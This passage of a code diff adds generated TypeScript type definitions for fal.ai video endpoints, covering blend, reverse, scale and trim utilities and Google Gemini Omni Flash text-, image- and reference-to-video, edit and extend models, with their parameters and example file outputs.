string + /** + * @description The video with automatic subtitles + * @example {"file_name":"output.mp4","file_size":16789234,"url":"https://v3b.fal.media/files/b/monkey/HPBSoe-QsAxSIkDh7Zn76_output.mp4","content_type":"video/mp4"} + * @type object + */ + video: File0D62A5Db + /** + * @description Word-level timing information from transcription service + */ + words?: object[] | null + /** + * @description Additional transcription metadata from ElevenLabs (language, segments, etc.) + */ + transcription_metadata?: object | null +} + +export const inputFalAiWorkflowUtilitiesBlendVideoBlendModeEnum = { + addition: 'addition', + average: 'average', + burn: 'burn', + darken: 'darken', + difference: 'difference', + divide: 'divide', + dodge: 'dodge', + exclusion: 'exclusion', + grainextract: 'grainextract', + grainmerge: 'grainmerge', + hardlight: 'hardlight', + lighten: 'lighten', + multiply: 'multiply', + negation: 'negation', + normal: 'normal', + overlay: 'overlay', + phoenix: 'phoenix', + pinlight: 'pinlight', + reflect: 'reflect', + screen: 'screen', + softlight: 'softlight', + subtract: 'subtract', + vividlight: 'vividlight', +} as const + +export type InputFalAiWorkflowUtilitiesBlendVideoBlendModeEnumKey = + (typeof inputFalAiWorkflowUtilitiesBlendVideoBlendModeEnum)[keyof typeof inputFalAiWorkflowUtilitiesBlendVideoBlendModeEnum] + +/** + * @description Input model for blending two video frames together + * @type object + */ +export type InputFalAiWorkflowUtilitiesBlendVideo = { + /** + * @description URL of the bottom layer video + * @example https://storage.googleapis.com/falserverless/model_tests/kling/kling-v2.5-turbo-pro-image-to-video-output.mp4 + * @type string + */ + bottom_video_url: string + /** + * @description URL of the top layer video + * @example https://storage.googleapis.com/falserverless/example_outputs/wan-25-i2v-output.mp4 + * @type string + */ + top_video_url: string + /** + * @description End output when the shortest input ends + * @default true + * @type boolean | undefined + */ + shortest?: boolean + /** + * @description Opacity of the top layer (0.0-1.0) + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + opacity?: number + /** + * @description Blend mode to use for combining the videos + * @default 'overlay' + * @type string | undefined + */ + blend_mode?: InputFalAiWorkflowUtilitiesBlendVideoBlendModeEnumKey +} + +export type File3E3C40A0 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output model for blended video + * @type object + */ +export type OutputFalAiWorkflowUtilitiesBlendVideo = { + /** + * @description The blended video output + * @example {"file_name":"blended_output.mp4","file_size":3886177,"url":"https://v3b.fal.media/files/b/monkey/blended_output.mp4","content_type":"video/mp4"} + * @type object + */ + video: File3E3C40A0 +} + +/** + * @description Input model for reversing a video + * @type object + */ +export type InputFalAiWorkflowUtilitiesReverseVideo = { + /** + * @description URL of the video file to reverse + * @example https://storage.googleapis.com/falserverless/example_outputs/wan-25-i2v-output.mp4 + * @type string + */ + video_url: string +} + +export type File50735C8D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output model for reversed video + * @type object + */ +export type OutputFalAiWorkflowUtilitiesReverseVideo = { + /** + * @description The reversed video + * @example {"file_name":"output.mp4","file_size":3456789,"url":"ttps://v3b.fal.media/files/b/0a8f1bc2/HZdek_1QHprZFiE-46DyO_output.mp4","content_type":"video/mp4"} + * @type object + */ + video: File50735C8D +} + +export const inputFalAiWorkflowUtilitiesScaleVideoCodecEnum = { + libx264: 'libx264', + libx265: 'libx265', +} as const + +export type InputFalAiWorkflowUtilitiesScaleVideoCodecEnumKey = + (typeof inputFalAiWorkflowUtilitiesScaleVideoCodecEnum)[keyof typeof inputFalAiWorkflowUtilitiesScaleVideoCodecEnum] + +export const inputFalAiWorkflowUtilitiesScaleVideoModeEnum = { + stretch: 'stretch', + pad: 'pad', + crop: 'crop', +} as const + +export type InputFalAiWorkflowUtilitiesScaleVideoModeEnumKey = + (typeof inputFalAiWorkflowUtilitiesScaleVideoModeEnum)[keyof typeof inputFalAiWorkflowUtilitiesScaleVideoModeEnum] + +export const inputFalAiWorkflowUtilitiesScaleVideoPadColorEnum = { + black: 'black', + white: 'white', + red: 'red', + green: 'green', + blue: 'blue', + gray: 'gray', +} as const + +export type InputFalAiWorkflowUtilitiesScaleVideoPadColorEnumKey = + (typeof inputFalAiWorkflowUtilitiesScaleVideoPadColorEnum)[keyof typeof inputFalAiWorkflowUtilitiesScaleVideoPadColorEnum] + +export const inputFalAiWorkflowUtilitiesScaleVideoPresetEnum = { + ultrafast: 'ultrafast', + fast: 'fast', + medium: 'medium', + slow: 'slow', +} as const + +export type InputFalAiWorkflowUtilitiesScaleVideoPresetEnumKey = + (typeof inputFalAiWorkflowUtilitiesScaleVideoPresetEnum)[keyof typeof inputFalAiWorkflowUtilitiesScaleVideoPresetEnum] + +/** + * @description Input model for scaling/resizing a video to specific dimensions + * @type object + */ +export type InputFalAiWorkflowUtilitiesScaleVideo = { + /** + * @description Video codec to use for encoding. libx264 (H.264) is widely compatible, libx265 (H.265/HEVC) offers better compression. + * @default 'libx264' + * @type string | undefined + */ + codec?: InputFalAiWorkflowUtilitiesScaleVideoCodecEnumKey + /** + * @description Target height in pixels. If only height is provided, width is auto-calculated to preserve aspect ratio. At least one of width or height must be provided. + * @example 1080 + * @example 2160 + * @example 720 + */ + height?: number | null + /** + * @description Scaling mode. 'stretch' scales the video to the exact target dimensions (may distort aspect ratio). 'pad' scales to fit within the target dimensions while preserving aspect ratio, then pads with the chosen color to fill the remaining space (letterbox/pillarbox). 'crop' scales to cover the target dimensions while preserving aspect ratio, then center-crops to the exact target size. + * @default 'stretch' + * @type string | undefined + */ + mode?: InputFalAiWorkflowUtilitiesScaleVideoModeEnumKey + /** + * @description Padding color when mode is 'pad'. Ignored for other modes. + * @default 'black' + * @type string | undefined + */ + pad_color?: InputFalAiWorkflowUtilitiesScaleVideoPadColorEnumKey + /** + * @description Constant Rate Factor for quality (0-51). Lower values mean better quality and larger files. 18 is visually lossless for most content. + * @minimum 0 + * @maximum 51 + * @default 18 + * @type integer | undefined + */ + crf?: number + /** + * @description Target width in pixels. If only width is provided, height is auto-calculated to preserve aspect ratio. At least one of width or height must be provided. + * @example 1920 + * @example 3840 + * @example 1280 + */ + width?: number | null + /** + * @description URL of the video file to scale/resize. Height and Width of the video must be even numbers for compatibility with video codecs. + * @example https://storage.googleapis.com/falserverless/example_outputs/wan-25-i2v-output.mp4 + * @type string + */ + video_url: string + /** + * @description Encoding speed preset. Slower presets give better compression but take longer. + * @default 'fast' + * @type string | undefined + */ + preset?: InputFalAiWorkflowUtilitiesScaleVideoPresetEnumKey +} + +export type File3D9Fcff9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output model for scaled/resized video + * @type object + */ +export type OutputFalAiWorkflowUtilitiesScaleVideo = { + /** + * @description The scaled/resized video + * @example {"file_name":"output.mp4","file_size":3456789,"url":"https://v3b.fal.media/files/b/monkey/scaled_output.mp4","content_type":"video/mp4"} + * @type object + */ + video: File3D9Fcff9 + /** + * @description Width of the output video in pixels + * @example 1920 + * @type integer + */ + scaled_width: number + /** + * @description Width of the original video in pixels + * @example 1929 + * @type integer + */ + original_width: number + /** + * @description Height of the original video in pixels + * @example 1082 + * @type integer + */ + original_height: number + /** + * @description Height of the output video in pixels + * @example 1080 + * @type integer + */ + scaled_height: number +} + +/** + * @description Input model for trimming a video to a specified time range + * @type object + */ +export type InputFalAiWorkflowUtilitiesTrimVideo = { + /** + * @description Start time in seconds + * @minimum 0 + * @default 1 + * @type number | undefined + */ + start_time?: number + /** + * @description End time in seconds. If not provided, uses duration instead. + * @example 3 + */ + end_time?: number | null + /** + * @description URL of the video file to trim + * @example https://storage.googleapis.com/falserverless/example_outputs/wan-25-i2v-output.mp4 + * @type string + */ + video_url: string + /** + * @description Duration in seconds from start_time. Ignored if end_time is provided. + * @default 2 + */ + duration?: number | null +} + +export type File503Fc73F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output model for trimmed video + * @type object + */ +export type OutputFalAiWorkflowUtilitiesTrimVideo = { + /** + * @description The trimmed video + * @example {"file_name":"output.mp4","file_size":2550671,"url":"https://v3b.fal.media/files/b/0a8dcc60/sIg2GuYYYrmYAa2lUVgum_output.mp4","content_type":"application/octet-stream"} + * @type object + */ + video: File503Fc73F + /** + * @description Duration of the original video in seconds + * @example 5.041667 + * @type number + */ + original_duration: number + /** + * @description Duration of the trimmed video in seconds + * @example 2 + * @type number + */ + trimmed_duration: number +} + +export const inputGoogleGeminiOmniFlashAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputGoogleGeminiOmniFlashAspectRatioEnumKey = + (typeof inputGoogleGeminiOmniFlashAspectRatioEnum)[keyof typeof inputGoogleGeminiOmniFlashAspectRatioEnum] + +export type InputGoogleGeminiOmniFlash = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The duration of the generated video, in seconds. + * @minimum 3 + * @maximum 10 + * @default 8 + * @type integer | undefined + */ + duration?: number + /** + * @description The text prompt describing the video you want to generate. + * @maxLength 20000 + * @example A cinematic wide shot of a lighthouse on a rocky cliff at dusk, waves crashing below, the beam slowly sweeping across the dark sea. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputGoogleGeminiOmniFlashAspectRatioEnumKey +} + +export type FileAd2D18E7 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputGoogleGeminiOmniFlash = { + /** + * @description The generated video. + * @type object + */ + video: FileAd2D18E7 +} + +export type InputGoogleGeminiOmniFlashEdit = { + /** + * @description A simple instruction describing the edit. Simple prompts work best; add "Keep everything else the same." to preserve the rest of the scene. Voice editing is not supported. + * @maxLength 20000 + * @example Make this video anime. Keep everything else the same. + * @type string + */ + prompt: string + /** + * @description URL of the video to edit. Note: editing uploaded videos is not available for users in the European Economic Area (EEA), Switzerland, and the United Kingdom. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string +} + +export type File2C4098C2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputGoogleGeminiOmniFlashEdit = { + /** + * @description The edited video. + * @type object + */ + video: File2C4098C2 +} + +export const inputGoogleGeminiOmniFlashImageToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputGoogleGeminiOmniFlashImageToVideoAspectRatioEnumKey = + (typeof inputGoogleGeminiOmniFlashImageToVideoAspectRatioEnum)[keyof typeof inputGoogleGeminiOmniFlashImageToVideoAspectRatioEnum] + +export type InputGoogleGeminiOmniFlashImageToVideo = { + /** + * @description URL of the input image to animate. + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description The text prompt describing how the image should be animated. + * @maxLength 20000 + * @example The dog turns its head and wags its tail in warm sunlight. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputGoogleGeminiOmniFlashImageToVideoAspectRatioEnumKey + /** + * @description The duration of the generated video, in seconds. + * @minimum 3 + * @maximum 10 + * @default 8 + * @type integer | undefined + */ + duration?: number +} + +export type File68Cc7179 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputGoogleGeminiOmniFlashImageToVideo = { + /** + * @description The generated video. + * @type object + */ + video: File68Cc7179 +} + +export const inputGoogleGeminiOmniFlashReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputGoogleGeminiOmniFlashReferenceToVideoAspectRatioEnumKey = + (typeof inputGoogleGeminiOmniFlashReferenceToVideoAspectRatioEnum)[keyof typeof inputGoogleGeminiOmniFlashReferenceToVideoAspectRatioEnum] + +export type InputGoogleGeminiOmniFlashReferenceToVideo = { + /** + * @description URLs of the reference images to incorporate into the video. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/veo31-r2v-input-1.png","https://storage.googleapis.com/falserverless/example_inputs/veo31-r2v-input-2.png"] + * @type array + */ + image_urls: string[] + /** + * @description The text prompt describing the video. You can bind reference images to roles inline using tags like ```` (see the Omni Flash prompt guide). + * @maxLength 20000 + * @example A cat playfully batting at a ball of yarn in a sunlit living room. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputGoogleGeminiOmniFlashReferenceToVideoAspectRatioEnumKey + /** + * @description The duration of the generated video, in seconds. + * @minimum 3 + * @maximum 10 + * @default 8 + * @type integer | undefined + */ + duration?: number +} + +export type File3186C101 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputGoogleGeminiOmniFlashReferenceToVideo = { + /** + * @description The generated video. + * @type object + */ + video: File3186C101 +} + +export const inputGoogleGeminiOmniFlashV11EditResolutionEnum = { + '360p': '360p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputGoogleGeminiOmniFlashV11EditResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV11EditResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV11EditResolutionEnum] + +export type InputGoogleGeminiOmniFlashV11Edit = { + /** + * @description The resolution of the edited video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV11EditResolutionEnumKey + /** + * @description URL of the video to edit. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string + /** + * @description A simple instruction describing the edit. + * @maxLength 20000 + * @example Make this video anime. Keep everything else the same. + * @type string + */ + prompt: string +} + +export type FileCe854963 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputGoogleGeminiOmniFlashV11Edit = { + /** + * @description The generated video. + * @type object + */ + video: FileCe854963 +} + +export const inputGoogleGeminiOmniFlashV11ImageToVideoResolutionEnum = { + '360p': '360p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputGoogleGeminiOmniFlashV11ImageToVideoResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV11ImageToVideoResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV11ImageToVideoResolutionEnum] + +export const inputGoogleGeminiOmniFlashV11ImageToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputGoogleGeminiOmniFlashV11ImageToVideoAspectRatioEnumKey = + (typeof inputGoogleGeminiOmniFlashV11ImageToVideoAspectRatioEnum)[keyof typeof inputGoogleGeminiOmniFlashV11ImageToVideoAspectRatioEnum] + +export type InputGoogleGeminiOmniFlashV11ImageToVideo = { + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV11ImageToVideoResolutionEnumKey + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputGoogleGeminiOmniFlashV11ImageToVideoAspectRatioEnumKey + /** + * @description The text prompt describing how the first image should be animated or interpolated into the optional end image. + * @maxLength 20000 + * @example The dog turns its head and wags its tail in warm sunlight. + * @type string + */ + prompt: string + /** + * @description Optional URL of the end frame. When provided, the model interpolates between the two images in their listed order. + */ + end_image_url?: string | null + /** + * @description URL of the first frame to animate. + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description The duration of the generated video, in seconds. + * @minimum 3 + * @maximum 10 + * @default 8 + * @type integer | undefined + */ + duration?: number +} + +export type File9C5680B4 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputGoogleGeminiOmniFlashV11ImageToVideo = { + /** + * @description The generated video. + * @type object + */ + video: File9C5680B4 +} + +export const inputGoogleGeminiOmniFlashV11ReferenceToVideoResolutionEnum = { + '360p': '360p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputGoogleGeminiOmniFlashV11ReferenceToVideoResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV11ReferenceToVideoResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV11ReferenceToVideoResolutionEnum] + +export const inputGoogleGeminiOmniFlashV11ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputGoogleGeminiOmniFlashV11ReferenceToVideoAspectRatioEnumKey = + (typeof inputGoogleGeminiOmniFlashV11ReferenceToVideoAspectRatioEnum)[keyof typeof inputGoogleGeminiOmniFlashV11ReferenceToVideoAspectRatioEnum] + +export type InputGoogleGeminiOmniFlashV11ReferenceToVideo = { + /** + * @description URLs of up to three reference videos. Each video must be at most ten seconds long. + * @type array | undefined + */ + reference_video_urls?: string[] + /** + * @description The duration of the generated video, in seconds. + * @minimum 3 + * @maximum 10 + * @default 8 + * @type integer | undefined + */ + duration?: number + /** + * @description URLs of reference images to incorporate into the video. + * @type array | undefined + */ + image_urls?: string[] + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV11ReferenceToVideoResolutionEnumKey + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputGoogleGeminiOmniFlashV11ReferenceToVideoAspectRatioEnumKey + /** + * @description The text prompt describing the video. Reference media is sent in list order before the prompt. + * @maxLength 20000 + * @example A cat inspired by walks through the setting in . + * @type string + */ + prompt: string +} + +export type FileA612A714 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputGoogleGeminiOmniFlashV11ReferenceToVideo = { + /** + * @description The generated video. + * @type object + */ + video: FileA612A714 +} + +export const inputGoogleGeminiOmniFlashV11TextToVideoResolutionEnum = { + '360p': '360p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputGoogleGeminiOmniFlashV11TextToVideoResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV11TextToVideoResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV11TextToVideoResolutionEnum] + +export const inputGoogleGeminiOmniFlashV11TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputGoogleGeminiOmniFlashV11TextToVideoAspectRatioEnumKey = + (typeof inputGoogleGeminiOmniFlashV11TextToVideoAspectRatioEnum)[keyof typeof inputGoogleGeminiOmniFlashV11TextToVideoAspectRatioEnum] + +export type InputGoogleGeminiOmniFlashV11TextToVideo = { + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV11TextToVideoResolutionEnumKey + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputGoogleGeminiOmniFlashV11TextToVideoAspectRatioEnumKey + /** + * @description The text prompt describing the video you want to generate. + * @maxLength 20000 + * @example A cinematic wide shot of a lighthouse on a rocky cliff at dusk, waves crashing below, the beam sweeping across the dark sea. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video, in seconds. + * @minimum 3 + * @maximum 10 + * @default 8 + * @type integer | undefined + */ + duration?: number +} + +export type File3940C68A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputGoogleGeminiOmniFlashV11TextToVideo = { + /** + * @description The generated video. + * @type object + */ + video: File3940C68A +} + +export const inputGoogleGeminiOmniFlashV12EditResolutionEnum = { + '360p': '360p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputGoogleGeminiOmniFlashV12EditResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV12EditResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV12EditResolutionEnum] + +export type InputGoogleGeminiOmniFlashV12Edit = { + /** + * @description The resolution of the edited video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV12EditResolutionEnumKey + /** + * @description A simple instruction describing the edit. + * @maxLength 20000 + * @example Make this video anime. Keep everything else the same. + * @type string + */ + prompt: string + /** + * @description URL of the video to edit. Must be at most 15 seconds long. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string +} + +export type File1B90Fdf2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputGoogleGeminiOmniFlashV12Edit = { + /** + * @description The generated video. + * @type object + */ + video: File1B90Fdf2 +} + +export const inputGoogleGeminiOmniFlashV12ExtendResolutionEnum = { + '360p': '360p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputGoogleGeminiOmniFlashV12ExtendResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV12ExtendResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV12ExtendResolutionEnum] + +export type InputGoogleGeminiOmniFlashV12Extend = { + /** + * @description The resolution of the extended video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV12ExtendResolutionEnumKey + /** + * @description The duration of the continuation, in seconds. + * @minimum 3 + * @maximum 10 + * @default 8 + * @type integer | undefined + */ + duration?: number + /** + * @description The text prompt describing how the video should continue. + * @maxLength 20000 + * @example Continue the scene. + * @type string + */ + prompt: string + /** + * @description URL of the video to extend. Any length is accepted; the model conditions on the last 10 seconds and appends the continuation. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string +} + +export type FileF2F42406 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputGoogleGeminiOmniFlashV12Extend = { + /** + * @description The generated video. + * @type object + */ + video: FileF2F42406 +} + +export const inputGoogleGeminiOmniFlashV12ImageToVideoResolutionEnum = { + '360p': '360p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputGoogleGeminiOmniFlashV12ImageToVideoResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV12ImageToVideoResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV12ImageToVideoResolutionEnum] + +export const inputGoogleGeminiOmniFlashV12ImageToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputGoogleGeminiOmniFlashV12ImageToVideoAspectRatioEnumKey = + (typeof inputGoogleGeminiOmniFlashV12ImageToVideoAspectRatioEnum)[keyof typeof inputGoogleGeminiOmniFlashV12ImageToVideoAspectRatioEnum] + +export type InputGoogleGeminiOmniFlashV12ImageToVideo = { + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV12ImageToVideoResolutionEnumKey + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputGoogleGeminiOmniFlashV12ImageToVideoAspectRatioEnumKey + /** + * @description The duration of the generated video, in seconds. At most 10 seconds when an end image is provided. + * @minimum 3 + * @maximum 15 + * @default 8 + * @type integer | undefined + */ + duration?: number + /** + * @description Optional URL of the end frame. When provided, the model interpolates between the two images in their listed order and the duration is capped at 10 seconds. + */ + end_image_url?: string | null + /** + * @description The text prompt describing how the first image should be animated or interpolated into the optional end image. + * @maxLength 20000 + * @example The dog turns its head and wags its tail in warm sunlight. + * @type string + */ + prompt: string + /** + * @description URL of the first frame to animate. + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string +} + +export type FileB89Bc709 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputGoogleGeminiOmniFlashV12ImageToVideo = { + /** + * @description The generated video. + * @type object + */ + video: FileB89Bc709 +} + +export const inputGoogleGeminiOmniFlashV12ReferenceToVideoResolutionEnum = { + '360p': '360p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputGoogleGeminiOmniFlashV12ReferenceToVideoResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV12ReferenceToVideoResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV12ReferenceToVideoResolutionEnum] + +export const inputGoogleGeminiOmniFlashV12ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputGoogleGeminiOmniFlashV12ReferenceToVideoAspectRatioEnumKey = + (typeof inputGoogleGeminiOmniFlashV12ReferenceToVideoAspectRatioEnum)[keyof typeof inputGoogleGeminiOmniFlashV12ReferenceToVideoAspectRatioEnum] + +export type InputGoogleGeminiOmniFlashV12ReferenceToVideo = { + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV12ReferenceToVideoResolutionEnumKey + /** + * @description URLs of up to three reference videos. Each video must be at most 15 seconds long. + * @type array | undefined + */ + reference_video_urls?: string[] + /** + * @description The duration of the generated video, in seconds. + * @minimum 3 + * @maximum 15 + * @default 8 + * @type integer | undefined + */ + duration?: number + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputGoogleGeminiOmniFlashV12ReferenceToVideoAspectRatioEnumKey + /** + * @description URLs of up to ten reference images to incorporate. + * @type array | undefined + */ + image_urls?: string[] + /** + * @description The text prompt describing the video. Reference media is sent in list order before the prompt. + * @maxLength 20000 + * @example A cat inspired by walks through the setting in . + * @type string + */ + prompt: string +} + +export type FileC1118Ed1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputGoogleGeminiOmniFlashV12ReferenceToVideo = { + /** + * @description The generated video. + * @type object + */ + video: FileC1118Ed1 +} + +export const inputGoogleGeminiOmniFlashV12TextToVideoResolutionEnum = { + '360p': '360p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type 